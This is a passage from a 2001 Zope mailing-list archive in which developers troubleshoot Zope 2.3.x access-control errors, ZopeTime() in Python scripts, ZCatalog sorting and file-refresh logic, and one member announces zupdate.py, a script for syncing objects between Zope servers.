ServerNetid=2 oldpriority=2 When the script has been called the values are: id=1 priority=2 ServerNetid=2 priority=2 (and this should be 1) Anyone with a good idea ?? Regards, -- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From phil.harris@zope.co.uk Thu May 10 11:20:56 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Thu, 10 May 2001 11:20:56 +0100 Subject: [Zope] Security Problems? References: <027001c0d891$7f9d59d0$5c773fc1@media1> <000f01c0d896$1c200b50$8e17a8c0@kurtz> Message-ID: <008801c0d93a$e7375e70$5c773fc1@media1> Chris, Thanks for the advice but something doesn't scope: The '__allow_access_to_unprotected_subobjects__ =3D 1' hack doesn't work = in this case for some reason. That was one of the things I'd tried before sending the post. The other case does work in this instance but there is, to my mind, something still not ringing true. For example, using the ZPT stuff, if you put here/title as an output variable (similar to ), you get the same unauthorized traceback as stated below. This means that the object doesn't have acces= s to it's own properties, surely not! I'm not saying that there is a security hole in Zope, quite the opposite. Access is being denied to things that the current user should have access to. This has meant that I'm having to loosen security on some of my 'bit= s' to allow the user to see things correctly. This only started happening w= ith 2.3.x (and maybe some of the betas). Zope 2.2.x did not to seem to have t= his problem. I've seen spurious mention of similar things over the last few months fro= m other Zope users as well, but then I do feel slightly paranoid at the moment, maybe I'm just looking at the world through shitty colored glasse= s 8=AC(. I will try and dredge some of these things up, either to fuel the= fire or put it out. ;) If the above case doesn't cover it I'm going to have to find another test case, even if it's just to prove to myself that there is nothing wrong. ;= ) Thanks for the help. Phil ----- Original Message ----- From: "Chris McDonough" To: "Phil Harris" ; Sent: Wednesday, May 09, 2001 3:41 PM Subject: Re: [Zope] Security Problems? > Hi Phil, > > Defining classes in external methods is... an interesting experience. = I > don't recommend it. It gets tricky because the file that external meth= ods > are defined in isn't actually a Python module, so interpreting the behavior > is hard. > > That said, the security chapter of the developer's guide goes in to thi= s a > little (http://www.zope.org/Documentation/ZDG/Security.dtml). The prob= lem > is that the instances you're putting in the array don't have any securi= ty > declarations, therefore access to them is denied (raising the unauthorized). > The fix for this is to add security declarations to the class, e.g > (untested): > > from AccessControl import ClassSecurityInfo > from Globals import InitializeClass > > class c: > security =3D ClassSecurityInfo() > security.declareObjectPublic() > security.setDefaultAccess('allow') > def __init__(self,a): > self.score=3Da > self.test=3Da*a > > def t(self): > retval=3D[] > for a in range(1,10): > inst =3D c(a) > if not hasattr( > InitializeClass(c) # its dumb to do this every time. > retval.append(c(a)) > return retval > > > If this doesn't work for some reason (setDefaultAccess was broken in at > least one Zope release), try to define the class c like so: > > class c: > __allow_access_to_unprotected_subobjects__ =3D 1 > def __init__(self,a): > self.score=3Da > self.test=3Da*a > > ----- Original Message ----- > From: Phil Harris > To: zope@zope.org > Sent: Wednesday, May 09, 2001 10:08 AM > Subject: [Zope] Security Problems? > > > All, > > I've got a sneaking suspicion that there are some security problems in Zope > 2.3.x. > > I've been trying to make a simple testcase and would like other (better= ) > minds than mine to look at it. > > I have an external method which looks like: > > class c: > def __init__(self,a): > self.score=3Da > self.test=3Da*a > > def t(self): > retval=3D[] > for a in range(1,10): > retval.append(c(a)) > return retval > > > The class 'c' is a very simple class, it has no methods and only two > attributes/properties 'score' and 'test'. > > The external method 't' is also very simple, it just returns an array o= f > class 'c'. > > The dtml-method I'm using to access this array is as follows: > > > > > > > > Nothing earth shattering there either. > > BUT, I get an unauthorized error raised with this traceback whenever I = run > this dtml-method: > > (note that a authentication login box is presented but NO user name is able > to authenticate) > > Traceback (innermost last): > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 223, in > publish_module > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 187, in publi= sh > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 171, in publi= sh > File D:\ZOPE_T~1\lib\python\ZPublisher\mapply.py, line 160, in mapply > (Object: index_html) > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 112, in > call_object > (Object: index_html) > File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 189, in __call__ > (Object: index_html) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_String.py, line 538, = in > __call__ > (Object: index_html) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_In.py, line 717, in > renderwob > (Object: t) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 334, in eval > (Object: _['sequence-item'].score) > (Info: _) > File <string>, line 0, in ? > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 140, in > careful_getattr > File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 261, in validate > (Object: index_html) > File D:\ZOPE_T~1\lib\python\AccessControl\SecurityManager.py, line 14= 4, in > validate > File D:\ZOPE_T~1\lib\python\AccessControl\ZopeSecurityPolicy.py, line 168, > in validate > Unauthorized: score > > > All of this is run on a bog standard install of Zope 2.3.2 with no othe= r > products installed, no security changes done, REALLY bog standard. > > > Anyone got any ideas? > > Cos this is doin my f'in ed in man?!?!?!?!?!? > > Phil > phil.harris@zope.co.uk > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From rhess@bic.ch Thu May 10 12:22:32 2001 From: rhess@bic.ch (Flynt) Date: Thu, 10 May 2001 13:22:32 +0200 Subject: [Zope] History of DC and/or Zope References: <000001c0d910$b9723e30$abcc4e18@cr582427a> Message-ID: <3AFA79F8.6354DCE7@bic.ch> Hi Andy Did you see the following document ? http://www.zope.org/Members/paul/BusinessDecision HTH Flynt Andy McKay wrote: > > I'm looking for any documents about the history and beginning of Zope. > (Searches on Zope.org have turned up nothing so far, still searching) > > I'm giving an intro to Zope talk to developers and wanted to quickly cover > the history of Zope / DC etc. If there any suitable talks on this topic, > pointers to those would be appreciated too :) > > Thanks. > > -- > Andy McKay > From tillea@rki.de Thu May 10 12:36:13 2001 From: tillea@rki.de (Andreas Tille) Date: Thu, 10 May 2001 13:36:13 +0200 (CEST) Subject: [Zope] Packaging (final) Zope book for Debian Message-ID: Hello, formerly I was able to check out Zope book beta from CVS via cvs -d:pserver:anonymous@cvs.zope-book.sourceforge.net:/cvsroot/zope-book login cvs -z3 -d:pserver:anonymous@cvs.zope-book.sourceforge.net:/cvsroot/zope-book co zope-book It seems that the modulname has changed in CVS from zope-book to Book. I managed to build a Debian package from the state of April 10th and didn't checked out CVS repository since then. Now I wanted to build the package from the final source. Is there any final source release? Which source is the best one for a Debian package? Kind regards Andreas. From mike.blake@cellnetwork.com Thu May 10 12:56:17 2001 From: mike.blake@cellnetwork.com (Mike Blake) Date: Thu, 10 May 2001 13:56:17 +0200 Subject: [Zope] ZopeTime() in python script ... Message-ID: <3AFA81E1.19C7182A@cellnetwork.com> Hi! I have a messy dtml block that returns a yyyymmdd date string using zope time: # 00 This works, BUT I would like to forget the dtml and just write it in python. Something like this?: # str="" # str = str + ZopeTime().year() # if ZopeTime().month()<10: # str = str + "0" # str = str + ZopeTime().month() # if ZopeTime().month()<10: # str = str + "0" # str = str + ZopeTime().day() # return str But this gives an error: Error Type: NameError Error Value: ZopeTime I have this as a python script object and although it would return a string ok, I get an error when trying to access ZopeTime(). I am currently losing my mind trying different arguments and import statements, but getting nowhere fast. How do I access the variables and methods (those that would normally be available to a dtml method) in a python script? thanks, mike -- [morcilla@ketden.com chikoon]$ whoami Mike Blake From steve@spvi.com Thu May 10 13:02:44 2001 From: steve@spvi.com (Steve Spicklemire) Date: Thu, 10 May 2001 07:02:44 -0500 Subject: [Zope] ZCatalog 2.3.0 -> 2.3.2 issues... In-Reply-To: <008801c0d93a$e7375e70$5c773fc1@media1> Message-ID: <200105101203.f4AC38I05715@obsidian.spvi.com> Hi Folks, I'm experiencing trouble with ZCatalog in 2.3.2. I read all about upgrading from my working 2.3.0 catalog and thinking that maybe I futzed it, I just created a new catalog. I couldn't find any reports of sort_on problems except for some references to a 'FieldIndex' bug, that has already been squashed. Here's my situation, I have a bunch of cataloged objects and I want to sort on one of the fields. In 2.3.0 I would just set 'sort_on' in the REQUEST to be one of the 'FieldIndexed' attributes and it worked. When I upgraded to 2.3.2 (yesterday) it stopped working. I've managed to trace it down to the _indexedSearch call in the __call__ of Catalog. sort_index looks OK, but _indexedSearch goes through the index items and creates LazyMap objects, but they seem broken somehow: 656 raise CatalogError, ('Unknown sort_on index %s' % sort_index) 657 658 # Perform searches with indexes and sort_index 659 r=[] 660 used=self._indexedSearch(kw, sort_index, r.append, used) 661 -> if not r: 662 return LazyCat(r) 663 664 # Sort/merge sub-results 665 if len(r)==1: 666 if sort_index is None: r=r[0] (Pdb) print r [('aerosmith', []), ('albert finney', []), ('alfred hitchcock', []), ('beatles', *** TypeError: unsubscriptable object When _indexedSearch returns, the 'r' list is sunk, though what's there is sorted. ;-) I'm invoking the Catalog like so:
I don't have time right now to dig into why LazyMap is raising a TypeError, but I might later today. When I take out the sort_on, all the records are returned. Any ideas would be appreciated! thanks, -steve From magnus.heino@rivermen.se Thu May 10 13:04:49 2001 From: magnus.heino@rivermen.se (Magnus Heino (Rivermen)) Date: Thu, 10 May 2001 14:04:49 +0200 Subject: SV: [Zope] ZopeTime() in python script ... Message-ID: > I have a messy dtml block that returns a yyyymmdd date > string using zope time: Why? http://www.zope.org/Members/AlexR/CustomDateFormats /Magnus From chrism@digicool.com Thu May 10 16:23:00 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 08:23:00 -0700 Subject: [Zope] Security Problems? References: <027001c0d891$7f9d59d0$5c773fc1@media1> <000f01c0d896$1c200b50$8e17a8c0@kurtz> <008801c0d93a$e7375e70$5c773fc1@media1> Message-ID: <3AFAB254.3633F05@digicool.com> > For example, using the ZPT stuff, if you put here/title as an output > variable (similar to ), you get the same unauthorized > traceback as stated below. This means that the object doesn't have access > to it's own properties, surely not! This *might* be a bug in ZPT... If I were you, I might try asking a question about this on the ZPT list... or maybe someone who knows lots about ZPT will stumble upon it here. > I'm not saying that there is a security hole in Zope, quite the opposite. > Access is being denied to things that the current user should have access > to. This has meant that I'm having to loosen security on some of my 'bits' > to allow the user to see things correctly. This only started happening with > 2.3.x (and maybe some of the betas). Zope 2.2.x did not to seem to have this > problem. If there's places in Zope where it's broken, we'd like to know... thanks! - C From andres@corrada.com Thu May 10 13:36:40 2001 From: andres@corrada.com (andres@corrada.com) Date: Thu, 10 May 2001 08:36:40 -0400 Subject: [Zope] ZopeTime() in python script ... In-Reply-To: <3AFA81E1.19C7182A@cellnetwork.com>; from Mike Blake on Thu, May 10, 2001 at 01:56:17PM +0200 References: <3AFA81E1.19C7182A@cellnetwork.com> Message-ID: <20010510083640.A29651@corrada.com> On Thu, May 10, 2001 at 01:56:17PM +0200, Mike Blake wrote: > This works, BUT I would like to forget the dtml > and just write it in python. Something like this?: > > # str="" > # str = str + ZopeTime().year() > # if ZopeTime().month()<10: > # str = str + "0" > # str = str + ZopeTime().month() > # if ZopeTime().month()<10: > # str = str + "0" > # str = str + ZopeTime().day() > # return str > > But this gives an error: > Error Type: NameError > Error Value: ZopeTime > > I have this as a python script object and although > it would return a string ok, I get an error when > trying to access ZopeTime(). > > I am currently losing my mind trying different > arguments and import statements, but getting nowhere > fast. How do I access the variables and methods > (those that would normally be available to a dtml > method) in a python script? > > thanks, > mike > > -- > [morcilla@ketden.com chikoon]$ whoami > Mike Blake > You can access objects available under dtml by using "context" or "container". So something like: context.ZopeTime() should work. ------------------------------------------------------ Andres Corrada-Emmanuel Email: andres@corrada.com Internet Programming http://www.mamey.com ------------------------------------------------------ From mail@peterbe.com Thu May 10 13:40:55 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Thu, 10 May 2001 14:40:55 +0200 Subject: [Zope] ZopeTime() in python script ... References: <3AFA81E1.19C7182A@cellnetwork.com> Message-ID: <012901c0d94f$d22a86a0$1c64a8c0@PBN> DTML == Python Script timeobject = context.ZopeTime() day = timeobject.strftime('%A') Hope this helps! peter ----- Original Message ----- From: "Mike Blake" To: Sent: Thursday, May 10, 2001 1:56 PM Subject: [Zope] ZopeTime() in python script ... > Hi! > > I have a messy dtml block that returns a yyyymmdd date > string using zope time: > > # # > # expr="(ZopeTime()).month()<10" > # >0 # > # > # > # > # expr="(ZopeTime()).day()<10" > # >0 # > # > # > > > This works, BUT I would like to forget the dtml > and just write it in python. Something like this?: > > # str="" > # str = str + ZopeTime().year() > # if ZopeTime().month()<10: > # str = str + "0" > # str = str + ZopeTime().month() > # if ZopeTime().month()<10: > # str = str + "0" > # str = str + ZopeTime().day() > # return str > > But this gives an error: > Error Type: NameError > Error Value: ZopeTime > > I have this as a python script object and although > it would return a string ok, I get an error when > trying to access ZopeTime(). > > I am currently losing my mind trying different > arguments and import statements, but getting nowhere > fast. How do I access the variables and methods > (those that would normally be available to a dtml > method) in a python script? > > thanks, > mike > > -- > [morcilla@ketden.com chikoon]$ whoami > Mike Blake > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Thu May 10 13:53:42 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 08:53:42 -0400 Subject: [Zope] silly IE display question - manage screens showing 'view', not contents References: <3AF9E53B.945CA0F2@digicool.com> <3AFA55E9.1002685D@nipltd.com> Message-ID: <004201c0d950$3ed06630$8e17a8c0@kurtz> Do you know what version it is via "About" so we can pin down the problem to specific versions? ----- Original Message ----- From: "Chris Withers" To: "Chris McDonough" Cc: "Meilicke, Scott" ; Sent: Thursday, May 10, 2001 4:48 AM Subject: Re: [Zope] silly IE display question - manage screens showing 'view', not contents > Chris McDonough wrote: > > > > Hi Scott... this is a known bug in some versions of IE 5.5. Upgrade > > your browser to the latest IE and it will go away. > > Someone here is still having this problem with the latest-and-greatest IE Sp2 > :-( > > Chris > > (the web is dead, long live the OODB and a dedicated fat client ;-) > From chrisw@nipltd.com Thu May 10 13:58:38 2001 From: chrisw@nipltd.com (Chris Withers) Date: Thu, 10 May 2001 13:58:38 +0100 Subject: [Zope] ZopeTime() in python script ... References: <3AFA81E1.19C7182A@cellnetwork.com> Message-ID: <3AFA907E.3F2902AC@nipltd.com> Mike Blake wrote: > > I have a messy dtml block that returns a yyyymmdd date > string using zope time: > > # # > # expr="(ZopeTime()).month()<10" > # >0 # > # > # > # > # expr="(ZopeTime()).day()<10" > # >0 # > # > # > Yurg! :-S What's wrong with: ?!? Chris From etiennel@geospace.co.za Thu May 10 13:59:07 2001 From: etiennel@geospace.co.za (Etienne Labuschagne) Date: Thu, 10 May 2001 14:59:07 +0200 Subject: [Zope] Batch-adding images with extra attribs Message-ID: <6CBE5E8F222DCA4C910079182C5C93E48DC795@TERRASERVER.GEOSPACE.CO.ZA> Hi there I have a lot of images that I must upload into Zope. I can probably use FTP, but I have another problem. I add a copyright attribute to each image. It would be great if I can tell Zope, upload all images in directory c:\foo and give them a copyright attribute of bar. I have access to the server on which Zope is running, so it will probably be the easiest to write an external Python method to do the uploading from the server's file system. My question is, how do I upload an image directly from disk into Zope? Thanks in advance. Etienne From Thilo.Ernst@dlr.de Thu May 10 14:48:12 2001 From: Thilo.Ernst@dlr.de (Thilo Ernst) Date: Thu, 10 May 2001 15:48:12 +0200 Subject: [Zope] ANN: zupdate.py - synchronize multiple distributed Zopes Message-ID: <3AFA9C1C.EEADEE6@dlr.de> Hello, fellow Zope users: as the number of Zope installations I'm working with showed some growth recently (besides a production, a development and a test server I set up an experimental installation from time to time as well) - I got tired of manually distributing stuff from the development site to the other ones using Export, then ftp or scp, then Import. A search on zope.org didn't reveal much prior art, just that a 'Synchronizable Objects' and a 'Synchronization tab' seem to be planned for future Zope releases. (If someone knows a suitable existing tool nevertheless, please send me a note.) Thus, I decided to write something on my own. Here is the the result: http://www.zope.org/Members/te0006/zupdate.py zupdate.py is a stand-alone Python (1.52 or higher) script fot updating selected objects on one or more remote Zope instances from a local 'master' (e.g. development) site. It works by: - making the local ('master') Zope instance export the selected objects to a set of .zexp files - transferring the .zexp files to the remote server(s) via scp (the secure variant of rcp that comes with ssh) - re-importing the objects to their appropriate locations in the remote Zopes' object hierarchy All Zope servers can remain 'live' all the time as the Import/Export actions are invoked via HTTP. The .zexp files are automatically grouped so scp will be invoked (and will ask for authentication) only once per remote server. Their collection and transfer is also done using synthetic filenames to avoid name clashes. zupdate.py expects as a command line argument a task description file containing a set of Python statements which describe the local and all remote Zope instances (URL, username/password for administrator, Zope root directory in filesystem), and which objects to transfer. Invoking zupdate.py without parameters provides detailed information about the structure of the task description. A sample task description file is appended to this mail. zupdate.py was tested on a Linux 2.2 i386 system (RH 7.1) but should be able to run with minor changes on any system where Python 1.5.2 (or higher) and scp are available; of course, the remote servers must have ssh/scp as well. IMPORTANT NOTE: This script is hardly more than a quick hack. Even though it did work for me, it will likely have bugs. Every conceivable standard disclaimer applies. You cannot hold me liable for anything. Use at your own risk. License: Python-style. Best regards, Thilo Ernst # SAMPLE TASK DESCRIPTION FILE # no real hostnames & administrator credentials, sorry # local Zope installation LZOPE=( 'localhost:8080', ('adm', 'adm42'), '/ZOPE/Zope-2.3.1b2-linux2-x86' ) # remote Zope installation, or list thereof RZOPE= [ # test site ( 'test1.zopecentral.org:8080', ('Administrator1', 'Secret'), 'testuser@test1.zopecentral.org:/ZOPE/Zope-2.3.1b2-linux2-x86'), # production site ( 'www.zopecentral.org:80', ('Almighty', 'TopSecret'), 'zopeuser@www.zopecentral.org:/ZOPE/Zope-2.3.1b2-linux2-x86') ] # objects to be updated, optionally with deviating target folders OBJS= [ ('/myfolder/obj1', '/yourfolder'), # different folder in target Zope instance '/ourfolder/obj2' # same folder ] From cduncan@kaivo.com Thu May 10 15:18:54 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 10 May 2001 08:18:54 -0600 Subject: [Zope] Batch-adding images with extra attribs References: <6CBE5E8F222DCA4C910079182C5C93E48DC795@TERRASERVER.GEOSPACE.CO.ZA> Message-ID: <3AFAA34E.7D12C8AF@kaivo.com> Etienne Labuschagne wrote: > > Hi there > > I have a lot of images that I must upload into Zope. I can probably use > FTP, but I have another problem. I add a copyright attribute to each image. > > It would be great if I can tell Zope, upload all images in directory c:\foo > and give them a copyright attribute of bar. I have access to the server on > which Zope is running, so it will probably be the easiest to write an > external Python method to do the uploading from the server's file system. Yes. You might also be able to use XML-RPC. > My question is, how do I upload an image directly from disk into Zope? If you mean the client's disk, then XML-RPC. Otherwise, an external method. > > Thanks in advance. > Etienne > -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From tpassin@mitretek.org Thu May 10 15:19:24 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Thu, 10 May 2001 10:19:24 -0400 Subject: [Zope] Some mathematical problems ... References: <01050913210502.02657@squidbitch.mmmanager.org> Message-ID: <009201c0d95c$36966b20$38a3f1ce@mitretek.org> [Gitte Wange] So I guess it is because the oldpriority=_.int(REQUEST.oldpriority)-1) doesn't work. The values (before the -statement is: id=1 priority=1 ServerNetid=2 oldpriority=2 When the script has been called the values are: id=1 priority=2 ServerNetid=2 priority=2 (and this should be 1) [Tom] Two things: 1) Your second example says "priority=2" but I think it meant "oldpriority=2" (or 1). Is that a verbatim cut-and-paste, or is it just a typing error? 2) You give the values "when the script has been called" but you don't say if those are the actual values that are returned by the form itself. In other words, if you think you are getting the wrong data from the form, you need to make sure the form contains and returns the right values. If it doesn't, you need to get the form built correctly first. If it does, you need to make sure you are extracting the vaues from the form correctly. When this part is working correctly - and not before - then you can go on to look at the database method and see if it is actually constructed correctly Tom P From jan@itmeedia.ee Thu May 10 14:26:31 2001 From: jan@itmeedia.ee (Jan) Date: Thu, 10 May 2001 16:26:31 +0300 Subject: [Zope] Product event when zope restarts Message-ID: <012e01c0d954$d6a08c20$150aa8c0@amphora.ee> This is a multi-part message in MIME format. ------=_NextPart_000_012B_01C0D96D.F8974620 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello all! I have been developing a Zope Product that basically reads in a file and = shows it in zope. The problem is that when the file is updated in file = system, that is not updated in zope. I do not want it to read the file = every time it is accessed in zope. Refreshing it every time the zope = restarts seems to be the solution. So I was wondering if there is a function that will be executed when = zope restarts. Thanx. ------=_NextPart_000_012B_01C0D96D.F8974620 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello all!
 
I have been developing a Zope Product = that=20 basically reads in a file and shows it in zope. The problem is that when = the=20 file is updated in file system, that is not updated in zope. I do not = want it to=20 read the file every time it is accessed in zope. Refreshing it every = time the=20 zope restarts seems to be the solution.
 
So I was wondering if there is a = function that will=20 be executed when zope restarts.
 
Thanx.
------=_NextPart_000_012B_01C0D96D.F8974620-- From tpassin@mitretek.org Thu May 10 15:23:31 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Thu, 10 May 2001 10:23:31 -0400 Subject: [Zope] silly IE display question - manage screens showing 'view', not contents References: <3AF9E53B.945CA0F2@digicool.com> <3AFA55E9.1002685D@nipltd.com> <004201c0d950$3ed06630$8e17a8c0@kurtz> Message-ID: <009701c0d95c$ca45bb00$38a3f1ce@mitretek.org> [Chris McDonough] > Do you know what version it is via "About" so we can pin down the problem to > specific versions? I had the same problem with IE5.5 (it might have been 5.01, my memory is a little hazy) until I upgraded. My current working version is: "version 5.50.4522.1800 Update versions: SP1;Q279328" Cheers, Tom P From chrisw@nipltd.com Thu May 10 15:28:33 2001 From: chrisw@nipltd.com (Chris Withers) Date: Thu, 10 May 2001 15:28:33 +0100 Subject: [Zope] Product event when zope restarts References: <012e01c0d954$d6a08c20$150aa8c0@amphora.ee> Message-ID: <3AFAA591.7430E661@nipltd.com> Have you looked at the ExtFile object? cheers, Chris > Jan wrote: > > Hello all! > > I have been developing a Zope Product that basically reads in a file and shows > it in zope. The problem is that when the file is updated in file system, that > is not updated in zope. I do not want it to read the file every time it is > accessed in zope. Refreshing it every time the zope restarts seems to be the > solution. > > So I was wondering if there is a function that will be executed when zope > restarts. > > Thanx. From gitte@mmmanager.org Thu May 10 15:28:54 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Thu, 10 May 2001 16:28:54 +0200 Subject: [Zope] Some mathematical problems ... In-Reply-To: <009201c0d95c$36966b20$38a3f1ce@mitretek.org> References: <01050913210502.02657@squidbitch.mmmanager.org> <009201c0d95c$36966b20$38a3f1ce@mitretek.org> Message-ID: <01051016285401.02506@squidbitch.mmmanager.org> On Thursday 10 May 2001 16:19, Thomas B. Passin wrote: > [Gitte Wange] > > > So I guess it is because the oldpriority=_.int(REQUEST.oldpriority)-1) > doesn't work. > The values (before the -statement is: > id=1 > priority=1 > ServerNetid=2 > oldpriority=2 > > When the script has been called the values are: > id=1 > priority=2 > ServerNetid=2 > priority=2 (and this should be 1) > > [Tom] > > Two things: > > 1) Your second example says "priority=2" but I think it meant > "oldpriority=2" (or 1). Is that a verbatim cut-and-paste, or is it just a > typing error? It was a type error. It should say oldpriority. > 2) You give the values "when the script has been called" but you don't say > if those are the actual values that are returned by the form itself. In > other words, if you think you are getting the wrong data from the form, you > need to make sure the form contains and returns the right values. If it > doesn't, you need to get the form built correctly first. If it does, you > need to make sure you are extracting the vaues from the form correctly. It isn't a form it's extracted from. I have a link (an that calls the script. So I can see that the values there are correct. > When this part is working correctly - and not before - then you can go on > to look at the database method and see if it is actually constructed > correctly > > Tom P Well I knew that it was correct. I have changed some column names in the database and when I changed the variable names according to the column names, it worked. I don't know what the problem was - but it is solved now. Regards, -- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From jan@itmeedia.ee Thu May 10 14:40:10 2001 From: jan@itmeedia.ee (Jan) Date: Thu, 10 May 2001 16:40:10 +0300 Subject: [Zope] Product event when zope restarts References: <012e01c0d954$d6a08c20$150aa8c0@amphora.ee> <3AFAA591.7430E661@nipltd.com> Message-ID: <015601c0d956$bf68b8a0$150aa8c0@amphora.ee> > Have you looked at the ExtFile object? > > cheers, > > Chris Yes. As I wrote, the product BASICALLY does this. Actually it reads the file, parses it and shows it's contents in the properties tab. When I write something like then I can access a part of the file. > > > Jan wrote: > > > > Hello all! > > > > I have been developing a Zope Product that basically reads in a file and shows > > it in zope. The problem is that when the file is updated in file system, that > > is not updated in zope. I do not want it to read the file every time it is > > accessed in zope. Refreshing it every time the zope restarts seems to be the > > solution. > > > > So I was wondering if there is a function that will be executed when zope > > restarts. > > > > Thanx. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From cduncan@kaivo.com Thu May 10 15:40:12 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 10 May 2001 08:40:12 -0600 Subject: [Zope] Product event when zope restarts References: <012e01c0d954$d6a08c20$150aa8c0@amphora.ee> Message-ID: <3AFAA84C.4230C7AD@kaivo.com> > Jan wrote: > > Hello all! > > I have been developing a Zope Product that basically reads in a file > and shows it in zope. The problem is that when the file is updated in > file system, that is not updated in zope. I do not want it to read the > file every time it is accessed in zope. Refreshing it every time the > zope restarts seems to be the solution. > > So I was wondering if there is a function that will be executed when > zope restarts. > > Thanx. What is the problem with repeatedly reading the file? The OS will cache it if it is accessed frequently anyway. If you must here is what I would do: Use two volatile variables to store the mod date and the data like: _v_mod _v_data Then stat the file when it is accessed and see if its date differs from _v_mod (if it has already been accessed). If not, return _v_data. Otherwise read the file, return the data and store it into _v_data and the mod date in _v_mod. hth, -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From Anthony Baxter Thu May 10 15:48:35 2001 From: Anthony Baxter (Anthony Baxter) Date: Fri, 11 May 2001 00:48:35 +1000 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: Message from Simon Michael of "09 May 2001 14:34:59 MST." <871ypy9pfg.fsf@joyful.com> Message-ID: <200105101448.AAA06252@mbuna.arbhome.com.au> >>> Simon Michael wrote > It looks as if you want to squelch this thread, but it would have been > nice to discuss this a little longer. We might have found out more > about what the current consensus is (we had 2 for & 2 against); why > people find it useful; who's decision it is one way or another; etc. There are many, many, many threads like this that come up from time to time on most internet mailing lists. No matter what you decide, some people will be unhappy. Unless there's an overwhelming majority in favour of change, leaving things as they are is usually the better bet. Aside from all that - if it really bugs you to see the list name in the subject line, tweak your mailer to hide them. (MH scan.format file left as an exercise for the reader :) Anthony -- Anthony Baxter It's never too late to have a happy childhood. From tino@wildenhain.de Thu May 10 15:51:15 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 10 May 2001 16:51:15 +0200 Subject: [Zope] Product event when zope restarts In-Reply-To: <015601c0d956$bf68b8a0$150aa8c0@amphora.ee> References: <015601c0d956$bf68b8a0$150aa8c0@amphora.ee> Message-ID: <11584790.989513475@BUZZER> Hi Jan, what about using stat() on the file to check if it has changed and reread in that event? Make sure you reread only for the current access. Regards Tino --On Donnerstag, 10. Mai 2001 16:40 +0300 Jan wrote: >> Have you looked at the ExtFile object? >> >> cheers, >> >> Chris > Yes. As I wrote, the product BASICALLY does this. Actually it reads the > file, parses it and shows it's contents in the properties tab. When I > write something like then I can access a > part of the file. > >> >> > Jan wrote: >> > >> > Hello all! >> > >> > I have been developing a Zope Product that basically reads in a file >> > and > shows >> > it in zope. The problem is that when the file is updated in file >> > system, > that >> > is not updated in zope. I do not want it to read the file every time it > is >> > accessed in zope. Refreshing it every time the zope restarts seems to >> > be > the >> > solution. >> > >> > So I was wondering if there is a function that will be executed when > zope >> > restarts. >> > >> > Thanx. >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From Oliver Bleutgen Thu May 10 15:47:38 2001 From: Oliver Bleutgen (Oliver Bleutgen) Date: Thu, 10 May 2001 16:47:38 +0200 Subject: [Zope] Product event when zope restarts Message-ID: >> Have you looked at the ExtFile object? >> >> cheers, >> >> Chris > Yes. As I wrote, the product BASICALLY does this. Actually it reads the > file, parses it and shows it's contents in the properties tab. When I > write > something like then I can access a part > of > the file. Can't you use os.path.getmtime('path_to_file') to get the modification time of the file and reparse and reinsert it only if getmtime >= old_getmtime? cheers, oliver From zope@thewebsons.com Thu May 10 15:39:01 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 07:39:01 -0700 Subject: [Zope] Two Questions: One Easy, One Not Message-ID: <5.0.2.1.0.20010510073123.00a08710@thewebsons.com> Hi; The easy question: I have all sorts of images on my server that I want to copy into the appropriate folder in my Zope installation so that they can appear on the site that I am building with Zope. Trouble is, I can't find the folder, even when I walk the directory tree. Where does Zope put the folders I create and what does it call them? Is it possible to do what I want to do? The not-so-easy question: For some reason my Zope server dies regularly. I have root access on my RH6.2 box. When I run a process table, it appears that Zope is spawning several processes. In reality, if I try to kill the processes, I find that they're not active (nothing to kill). However, when Zope dies, all the *processes* die with it. I'm no programming guru, so any suggestions would be 